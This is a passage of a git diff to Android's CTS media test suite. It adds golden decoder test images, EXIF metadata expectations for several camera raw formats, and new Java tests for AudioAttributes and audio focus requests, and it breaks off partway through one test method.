+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_1920x1440_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_1920x818_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_1920x818_golden.png
new file mode 100644
index 0000000..e31fef6
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_1920x818_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_192x144_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_192x144_golden.png
new file mode 100644
index 0000000..d7e75d8
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_192x144_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_202x360_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_202x360_golden.png
new file mode 100644
index 0000000..7f559d2
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_202x360_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_2560x1090_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_2560x1090_golden.png
new file mode 100644
index 0000000..96a584c
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_2560x1090_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_2560x1440_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_2560x1440_golden.png
new file mode 100644
index 0000000..ab92ea1
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_2560x1440_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_256x108_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_256x108_golden.png
new file mode 100644
index 0000000..23ff373
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_256x108_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_256x144_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_256x144_golden.png
new file mode 100644
index 0000000..583f878
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_256x144_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_270x480_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_270x480_golden.png
new file mode 100644
index 0000000..9fc67bd
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_270x480_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_2880x2160_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_2880x2160_golden.png
new file mode 100644
index 0000000..bc1068b4
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_2880x2160_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_320x240_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_320x240_golden.png
new file mode 100644
index 0000000..e0ce44c
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_320x240_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_3840x1634_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_3840x1634_golden.png
new file mode 100644
index 0000000..5a6b2ac
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_3840x1634_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_3840x2160_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_3840x2160_golden.png
new file mode 100644
index 0000000..ced5dab
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_3840x2160_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_406x720_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_406x720_golden.png
new file mode 100644
index 0000000..a7ebdb9
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_406x720_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_426x182_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_426x182_golden.png
new file mode 100644
index 0000000..1abb1b8
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_426x182_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_426x240_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_426x240_golden.png
new file mode 100644
index 0000000..5c466b8
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_426x240_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_480x360_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_480x360_golden.png
new file mode 100644
index 0000000..49008d8
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_480x360_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_608x1080_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_608x1080_golden.png
new file mode 100644
index 0000000..78a54a3
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_608x1080_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_640x272_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_640x272_golden.png
new file mode 100644
index 0000000..33e00d2
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_640x272_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_640x360_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_640x360_golden.png
new file mode 100644
index 0000000..6261051
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_640x360_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_640x480_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_640x480_golden.png
new file mode 100644
index 0000000..3d66bd9
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_640x480_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_810x1440_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_810x1440_golden.png
new file mode 100644
index 0000000..9991fe9
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_810x1440_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_82x144_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_82x144_golden.png
new file mode 100644
index 0000000..df23e4c
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_82x144_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_854x362_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_854x362_golden.png
new file mode 100644
index 0000000..02266ee
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_854x362_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_854x480_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_854x480_golden.png
new file mode 100644
index 0000000..d86f05b
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_854x480_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_960x720_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_960x720_golden.png
new file mode 100644
index 0000000..964723d
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_960x720_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/h264decodertest520x360golden.png b/tests/tests/media/res/raw/video_decode_with_cropping_520x360_golden.png
similarity index 100%
rename from tests/tests/media/res/raw/h264decodertest520x360golden.png
rename to tests/tests/media/res/raw/video_decode_with_cropping_520x360_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/h264decodertest520x360original.png b/tests/tests/media/res/raw/video_decode_with_cropping_520x360_original.png
similarity index 100%
rename from tests/tests/media/res/raw/h264decodertest520x360original.png
rename to tests/tests/media/res/raw/video_decode_with_cropping_520x360_original.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_h264_30fps_video_h264_30fps_aac_44100hz_aac_44100hz.mp4 b/tests/tests/media/res/raw/video_h264_30fps_video_h264_30fps_aac_44100hz_aac_44100hz.mp4
new file mode 100644
index 0000000..365f282
--- /dev/null
+++ b/tests/tests/media/res/raw/video_h264_30fps_video_h264_30fps_aac_44100hz_aac_44100hz.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/vp9decodertestgolden.png b/tests/tests/media/res/raw/vp9decodertestgolden.png
deleted file mode 100644
index cad6778..0000000
--- a/tests/tests/media/res/raw/vp9decodertestgolden.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/values/exifinterface.xml b/tests/tests/media/res/values/exifinterface.xml
index bc34177..23fbb93 100644
--- a/tests/tests/media/res/values/exifinterface.xml
+++ b/tests/tests/media/res/values/exifinterface.xml
@@ -19,6 +19,7 @@
         <item>true</item>
         <item>512</item>
         <item>288</item>
+        <item>true</item>
         <item>false</item>
         <item>0.0</item>
         <item>0.0</item>
@@ -49,6 +50,7 @@
         <item>false</item>
         <item>0</item>
         <item>0</item>
+        <item>false</item>
         <item>true</item>
         <item>0.0</item>
         <item>0.0</item>
@@ -80,6 +82,7 @@
         <item>256</item>
         <item>144</item>
         <item>true</item>
+        <item>true</item>
         <item>53.834507</item>
         <item>10.69585</item>
         <item>0.0</item>
@@ -90,8 +93,8 @@
         <item>0.0040</item>
         <item>0.0</item>
         <item>442/100</item>
-        <item>0/1</item>
-        <item>0</item>
+        <item />
+        <item />
         <item>1970:01:17</item>
         <item>53/1,50/1,423/100</item>
         <item>N</item>
@@ -105,4 +108,314 @@
         <item>1</item>
         <item>0</item>
     </array>
+    <array name="volantis_jpg">
+        <item>false</item>
+        <item>0</item>
+        <item>0</item>
+        <item>false</item>
+        <item>true</item>
+        <item>37.423</item>
+        <item>-122.162</item>
+        <item>0.0</item>
+        <item>htc</item>
+        <item>Nexus 9</item>
+        <item>1.2904</item>
+        <item>2016:03:09 17:36:42</item>
+        <item>0.0083</item>
+        <item>64</item>
+        <item>3097/1000</item>
+        <item />
+        <item />
+        <item>2016:03:09</item>
+        <item>37/1,25/1,2291/100</item>
+        <item>N</item>
+        <item>122/1,9/1,4330/100</item>
+        <item>W</item>
+        <item />
+        <item>08:35:34</item>
+        <item>720</item>
+        <item>1280</item>
+        <item>175</item>
+        <item>1</item>
+        <item>0</item>
+    </array>
+    <array name="sony_rx_100_arw">
+        <item>true</item>
+        <item>160</item>
+        <item>120</item>
+        <item>true</item>
+        <item>false</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>SONY</item>
+        <item>DSC-RX100M3</item>
+        <item>2.0000</item>
+        <item>2015:01:15 16:49:05</item>
+        <item>0.0050</item>
+        <item>16.0</item>
+        <item>880/100</item>
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item>3648</item>
+        <item>5472</item>
+        <item>125</item>
+        <item>8</item>
+        <item>0</item>
+    </array>
+    <array name="canon_g7x_cr2">
+        <item>true</item>
+        <item>160</item>
+        <item>120</item>
+        <item>true</item>
+        <item>false</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>Canon</item>
+        <item>Canon PowerShot G7 X</item>
+        <item>8.0000</item>
+        <item>2015:01:15 16:53:05</item>
+        <item>0.0005</item>
+        <item>16.0</item>
+        <item>8800/1000</item>
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item>3648</item>
+        <item>5472</item>
+        <item>12800</item>
+        <item>8</item>
+        <item>1</item>
+    </array>
+    <array name="fuji_x20_raf">
+        <item>true</item>
+        <item>160</item>
+        <item>120</item>
+        <item>true</item>
+        <item>false</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>FUJIFILM</item>
+        <item>X20</item>
+        <item>3.6000</item>
+        <item>2015:01:15 18:20:53</item>
+        <item>0.0130</item>
+        <item>16.0</item>
+        <item>1040/100</item>
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item>3000</item>
+        <item>4000</item>
+        <item>100</item>
+        <item>1</item>
+        <item>0</item>
+    </array>
+    <array name="nikon_1aw1_nef">
+        <item>true</item>
+        <item>160</item>
+        <item>120</item>
+        <item>false</item>
+        <item>true</item>
+        <item>53.83652</item>
+        <item>10.69828</item>
+        <item>0.0</item>
+        <item>NIKON CORPORATION</item>
+        <item>NIKON 1 AW1</item>
+        <item>5.6000</item>
+        <item>2015:10:27 14:10:12</item>
+        <item>0.0080</item>
+        <item>0</item>
+        <item>275/10</item>
+        <item />
+        <item />
+        <item>2015:10:27</item>
+        <item>53/1,501915/10000,0/1</item>
+        <item>N</item>
+        <item>10/1,418974/10000,0/1</item>
+        <item>E</item>
+        <item />
+        <item>13:10:12</item>
+        <item>3072</item>
+        <item>4608</item>
+        <item>200</item>
+        <item>8</item>
+        <item>0</item>
+    </array>
+    <array name="nikon_p330_nrw">
+        <item>true</item>
+        <item>160</item>
+        <item>120</item>
+        <item>true</item>
+        <item>true</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>NIKON</item>
+        <item>COOLPIX P7800</item>
+        <item>2.0000</item>
+        <item>2015:02:17 14:24:21</item>
+        <item>0.0005</item>
+        <item>16.0</item>
+        <item>60/10</item>
+        <item>0/1</item>
+        <item>0</item>
+        <item>0000:00:00</item>
+        <item>0/1,0/1,0/1</item>
+        <item />
+        <item>0/1,0/1,0/1</item>
+        <item />
+        <item />
+        <item>00:00:00</item>
+        <item>3000</item>
+        <item>4000</item>
+        <item>3200</item>
+        <item>8</item>
+        <item>0</item>
+    </array>
+    <array name="pentax_k5_pef">
+        <item>true</item>
+        <item>160</item>
+        <item>120</item>
+        <item>true</item>
+        <item>false</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>PENTAX</item>
+        <item>PENTAX K-5</item>
+        <item>8.0000</item>
+        <item>2013:11:05 23:07:10</item>
+        <item>0.1250</item>
+        <item>16.0</item>
+        <item>2625/100</item>
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item>3284</item>
+        <item>4992</item>
+        <item>100</item>
+        <item>1</item>
+        <item>0</item>
+    </array>
+    <array name="olympus_e_pl3_orf">
+        <item>true</item>
+        <item>160</item>
+        <item>120</item>
+        <item>true</item>
+        <item>false</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>OLYMPUS IMAGING CORP.</item>
+        <item>E-PL3</item>
+        <item>8.0000</item>
+        <item>2013:05:15 11:04:46</item>
+        <item>0.0400</item>
+        <item>24.0</item>
+        <item>45/1</item>
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item>2272</item>
+        <item>3024</item>
+        <item>200</item>
+        <item>1</item>
+        <item>0</item>
+    </array>
+    <array name="panasonic_gm5_rw2">
+        <item>true</item>
+        <item>160</item>
+        <item>120</item>
+        <item>true</item>
+        <item>false</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>Panasonic</item>
+        <item>DMC-GM5</item>
+        <item>8.0000</item>
+        <item>2015:01:14 17:06:04</item>
+        <item>0.0500</item>
+        <item>16.0</item>
+        <item>160/10</item>
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item>3448</item>
+        <item>4592</item>
+        <item>200</item>
+        <item>8</item>
+        <item>1</item>
+    </array>
+    <array name="samsung_nx3000_srw">
+        <item>true</item>
+        <item>160</item>
+        <item>120</item>
+        <item>true</item>
+        <item>false</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>SAMSUNG</item>
+        <item>NX3000</item>
+        <item>5.6000</item>
+        <item>2016:01:14 12:45:32</item>
+        <item>0.1670</item>
+        <item>0</item>
+        <item>50/1</item>
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item>3648</item>
+        <item>5472</item>
+        <item>100</item>
+        <item>8</item>
+        <item>0</item>
+    </array>
 </resources>
diff --git a/tests/tests/media/res/values/strings.xml b/tests/tests/media/res/values/strings.xml
new file mode 100644
index 0000000..b01b8ec
--- /dev/null
+++ b/tests/tests/media/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<resources>
+    <string name="test_user_route_name">User route\'s name for test</string>
+    <string name="test_route_category_name">Route category\'s name for test</string>
+</resources>
\ No newline at end of file
diff --git a/tests/tests/media/src/android/media/cts/AudioAttributesTest.java b/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
index 99ab1ab..b4c5b56 100644
--- a/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
@@ -16,10 +16,12 @@
 
 package android.media.cts;
 
-import android.cts.util.CtsAndroidTestCase;
 import android.media.AudioAttributes;
+import android.media.AudioManager;
 import android.os.Parcel;
 
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
 public class AudioAttributesTest extends CtsAndroidTestCase {
 
     // -----------------------------------------------------------------
@@ -64,4 +66,17 @@
         assertTrue("Source and target attributes are not considered equal",
                 srcAttr.equals(targetAttr));
     }
+
+    // Test case 3: verify going from AudioAttributes to stream type, with attributes built from
+    //    stream type.
+    public void testGetVolumeControlStreamVsLegacyStream() throws Exception {
+        for (int testType : new int[] { AudioManager.STREAM_ALARM, AudioManager.STREAM_MUSIC,
+                AudioManager.STREAM_NOTIFICATION, AudioManager.STREAM_RING,
+                AudioManager.STREAM_SYSTEM, AudioManager.STREAM_VOICE_CALL}) {
+            final AudioAttributes aa = new AudioAttributes.Builder().setLegacyStreamType(testType)
+                    .build();
+            final int stream = aa.getVolumeControlStream();
+            assertEquals("Volume control from attributes, stream doesn't match", testType, stream);
+        }
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/AudioFocusTest.java b/tests/tests/media/src/android/media/cts/AudioFocusTest.java
new file mode 100644
index 0000000..afc272e
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/AudioFocusTest.java
@@ -0,0 +1,285 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.media.AudioAttributes;
+import android.media.AudioFocusRequest;
+import android.media.AudioManager;
+import android.media.AudioManager.OnAudioFocusChangeListener;
+import android.os.Handler;
+import android.os.HandlerThread;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
+public class AudioFocusTest extends CtsAndroidTestCase {
+    private static final String TAG = "AudioFocusTest";
+
+    private static final int TEST_TIMING_TOLERANCE_MS = 100;
+
+    private static final AudioAttributes ATTR_DRIVE_DIR = new AudioAttributes.Builder()
+            .setUsage(AudioAttributes.USAGE_ASSISTANCE_NAVIGATION_GUIDANCE)
+            .setContentType(AudioAttributes.CONTENT_TYPE_SPEECH)
+            .build();
+    private static final AudioAttributes ATTR_MEDIA = new AudioAttributes.Builder()
+            .setUsage(AudioAttributes.USAGE_MEDIA)
+            .setContentType(AudioAttributes.CONTENT_TYPE_MUSIC)
+            .build();
+
+
+    public void testInvalidAudioFocusRequestDelayNoListener() throws Exception {
+        AudioFocusRequest req = null;
+        Exception ex = null;
+        try {
+            req = new AudioFocusRequest.Builder(AudioManager.AUDIOFOCUS_GAIN)
+                    .setAcceptsDelayedFocusGain(true).build();
+        } catch (Exception e) {
+            // expected
+            ex = e;
+        }
+        assertNotNull("No exception was thrown for an invalid build", ex);
+        assertEquals("Wrong exception thrown", ex.getClass(), IllegalStateException.class);
+        assertNull("Shouldn't be able to create delayed request without listener", req);
+    }
+
+    public void testInvalidAudioFocusRequestPauseOnDuckNoListener() throws Exception {
+        AudioFocusRequest req = null;
+        Exception ex = null;
+        try {
+            req = new AudioFocusRequest.Builder(AudioManager.AUDIOFOCUS_GAIN)
+                    .setWillPauseWhenDucked(true).build();
+        } catch (Exception e) {
+            // expected
+            ex = e;
+        }
+        assertNotNull("No exception was thrown for an invalid build", ex);
+        assertEquals("Wrong exception thrown", ex.getClass(), IllegalStateException.class);
+        assertNull("Shouldn't be able to create pause-on-duck request without listener", req);
+    }
+
+    public void testAudioFocusRequestBuilderDefault() throws Exception {
+        final AudioFocusRequest reqDefaults =
+                new AudioFocusRequest.Builder(AudioManager.AUDIOFOCUS_GAIN).build();
+        assertEquals("Focus gain differs", AudioManager.AUDIOFOCUS_GAIN,
+                reqDefaults.getFocusGain());
+        assertEquals("Listener differs", null, reqDefaults.getOnAudioFocusChangeListener());
+        assertEquals("Handler differs", null, reqDefaults.getOnAudioFocusChangeListenerHandler());
+        assertEquals("Duck behavior differs", false, reqDefaults.willPauseWhenDucked());
+        assertEquals("Delayed focus differs", false, reqDefaults.acceptsDelayedFocusGain());
+    }
+
+
+    public void testAudioFocusRequestCopyBuilder() throws Exception {
+        final FocusChangeListener focusListener = new FocusChangeListener();
+        final int focusGain = AudioManager.AUDIOFOCUS_GAIN_TRANSIENT_MAY_DUCK;
+        final AudioFocusRequest reqToCopy =
+                new AudioFocusRequest.Builder(focusGain)
+                .setAudioAttributes(ATTR_DRIVE_DIR)
+                .setOnAudioFocusChangeListener(focusListener)
+                .setAcceptsDelayedFocusGain(true)
+                .setWillPauseWhenDucked(true)
+                .build();
+
+        AudioFocusRequest newReq = new AudioFocusRequest.Builder(reqToCopy).build();
+        assertEquals("AudioAttributes differ", ATTR_DRIVE_DIR, newReq.getAudioAttributes());
+        assertEquals("Listener differs", focusListener, newReq.getOnAudioFocusChangeListener());
+        assertEquals("Focus gain differs", focusGain, newReq.getFocusGain());
+        assertEquals("Duck behavior differs", true, newReq.willPauseWhenDucked());
+        assertEquals("Delayed focus differs", true, newReq.acceptsDelayedFocusGain());
+
+        newReq = new AudioFocusRequest.Builder(reqToCopy)
+                .setWillPauseWhenDucked(false)
+                .setFocusGain(AudioManager.AUDIOFOCUS_GAIN)
+                .build();
+        assertEquals("AudioAttributes differ", ATTR_DRIVE_DIR, newReq.getAudioAttributes());
+        assertEquals("Listener differs", focusListener, newReq.getOnAudioFocusChangeListener());
+        assertEquals("Focus gain differs", AudioManager.AUDIOFOCUS_GAIN, newReq.getFocusGain());
+        assertEquals("Duck behavior differs", false, newReq.willPauseWhenDucked());
+        assertEquals("Delayed focus differs", true, newReq.acceptsDelayedFocusGain());
+    }
+
+    public void testNullListenerHandlerNpe() throws Exception {
+        final AudioFocusRequest.Builder afBuilder =
+                new AudioFocusRequest.Builder(AudioManager.AUDIOFOCUS_GAIN);
+        try {
+            afBuilder.setOnAudioFocusChangeListener(null);
+            fail("no NPE when setting a null listener");
+        } catch (NullPointerException e) {
+        }
+
+        final HandlerThread handlerThread = new HandlerThread(TAG);
+        handlerThread.start();
+        final Handler h = new Handler(handlerThread.getLooper());
+        final AudioFocusRequest.Builder afBuilderH =
+                new AudioFocusRequest.Builder(AudioManager.AUDIOFOCUS_GAIN);
+        try {
+            afBuilderH.setOnAudioFocusChangeListener(null, h);
+            fail("no NPE when setting a null listener with non-null Handler");
+        } catch (NullPointerException e) {
+        }
+
+        final AudioFocusRequest.Builder afBuilderL =
+                new AudioFocusRequest.Builder(AudioManager.AUDIOFOCUS_GAIN);
+        try {
+            afBuilderL.setOnAudioFocusChangeListener(new FocusChangeListener(), null);
+            fail("no NPE when setting a non-null listener with null Handler");
+        } catch (NullPointerException e) {
+        }
+    }
+
+    public void testAudioFocusRequestGainLoss() throws Exception {
+        final AudioAttributes[] attributes = { ATTR_DRIVE_DIR, ATTR_MEDIA };
+        doTestTwoPlayersGainLoss(AudioManager.AUDIOFOCUS_GAIN, attributes, false /*no handler*/);
+    }
+
+    public void testAudioFocusRequestGainLossHandler() throws Exception {
+        final AudioAttributes[] attributes = { ATTR_DRIVE_DIR, ATTR_MEDIA };
+        doTestTwoPlayersGainLoss(AudioManager.AUDIOFOCUS_GAIN, attributes, true /*with handler*/);
+    }
+
+
+    public void testAudioFocusRequestGainLossTransient() throws Exception {
+        final AudioAttributes[] attributes = { ATTR_DRIVE_DIR, ATTR_MEDIA };
+        doTestTwoPlayersGainLoss(AudioManager.AUDIOFOCUS_GAIN_TRANSIENT, attributes,
+                false /*no handler*/);
+    }
+
+    public void testAudioFocusRequestGainLossTransientHandler() throws Exception {
+        final AudioAttributes[] attributes = { ATTR_DRIVE_DIR, ATTR_MEDIA };
+        doTestTwoPlayersGainLoss(AudioManager.AUDIOFOCUS_GAIN_TRANSIENT, attributes,
+                true /*with handler*/);
+    }
+
+    public void testAudioFocusRequestGainLossTransientDuck() throws Exception {
+        final AudioAttributes[] attributes = { ATTR_DRIVE_DIR, ATTR_MEDIA };
+        doTestTwoPlayersGainLoss(AudioManager.AUDIOFOCUS_GAIN_TRANSIENT_MAY_DUCK, attributes,
+                false /*no handler*/);
+    }
+
+    public void testAudioFocusRequestGainLossTransientDuckHandler() throws Exception {
+        final AudioAttributes[] attributes = { ATTR_DRIVE_DIR, ATTR_MEDIA };
+        doTestTwoPlayersGainLoss(AudioManager.AUDIOFOCUS_GAIN_TRANSIENT_MAY_DUCK, attributes,
+                true /*with handler*/);
+    }
+
+    /**
+     * Test focus request and abandon between two focus owners
+     * @param gainType focus gain of the focus owner on top (== 2nd focus requester)
+     */
+    private void doTestTwoPlayersGainLoss(int gainType, AudioAttributes[] attributes,
+            boolean useHandlerInListener) throws Exception {
+        final int NB_FOCUS_OWNERS = 2;
+        if (NB_FOCUS_OWNERS != attributes.length) {
+            throw new IllegalArgumentException("Invalid test: invalid number of attributes");
+        }
+        final AudioFocusRequest[] focusRequests = new AudioFocusRequest[NB_FOCUS_OWNERS];
+        final FocusChangeListener[] focusListeners = new FocusChangeListener[NB_FOCUS_OWNERS];
+        final int[] focusGains = { AudioManager.AUDIOFOCUS_GAIN, gainType };
+        int expectedLoss = 0;
+        switch (gainType) {
+            case AudioManager.AUDIOFOCUS_GAIN:
+                expectedLoss = AudioManager.AUDIOFOCUS_LOSS;
+                break;
+            case AudioManager.AUDIOFOCUS_GAIN_TRANSIENT:
+                expectedLoss = AudioManager.AUDIOFOCUS_LOSS_TRANSIENT;
+                break;
+            case AudioManager.AUDIOFOCUS_GAIN_TRANSIENT_MAY_DUCK:
+                expectedLoss = AudioManager.AUDIOFOCUS_LOSS_TRANSIENT_CAN_DUCK;
+                break;
+            default:
+                fail("invalid focus gain used in test");
+        }
+        final AudioManager am = new AudioManager(getContext());
+
+        final Handler h;
+        if (useHandlerInListener) {
+            HandlerThread handlerThread = new HandlerThread(TAG);
+            handlerThread.start();
+            h = new Handler(handlerThread.getLooper());
+        } else {
+            h = null;
+        }
+
+        try {
+            for (int i = 0 ; i < NB_FOCUS_OWNERS ; i++) {
+                focusListeners[i] = new FocusChangeListener();
+                if (h != null) {
+                    focusRequests[i] = new AudioFocusRequest.Builder(focusGains[i])
+                            .setAudioAttributes(attributes[i])
+                            .setOnAudioFocusChangeListener(focusListeners[i], h /*handler*/)
+                            .build();
+                } else {
+                    focusRequests[i] = new AudioFocusRequest.Builder(focusGains[i])
+                            .setAudioAttributes(attributes[i])
+                            .setOnAudioFocusChangeListener(focusListeners[i])
+                            .build();
+                }
+            }
+
+            // focus owner 0 requests focus with GAIN,
+            // then focus owner 1 requests focus with gainType
+            // then 1 abandons focus, then 0 abandons focus
+            int res = am.requestAudioFocus(focusRequests[0]);
+            assertEquals("1st focus request failed",
+                    AudioManager.AUDIOFOCUS_REQUEST_GRANTED, res);
+            res = am.requestAudioFocus(focusRequests[1]);
+            assertEquals("2nd focus request failed", AudioManager.AUDIOFOCUS_REQUEST_GRANTED, res);
+            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+            assertEquals("Focus loss not dispatched", expectedLoss,
+                    focusListeners[0].getFocusChangeAndReset());
+            res = am.abandonAudioFocusRequest(focusRequests[1]);
+            assertEquals("1st abandon failed", AudioManager.AUDIOFOCUS_REQUEST_GRANTED, res);
+            focusRequests[1] = null;
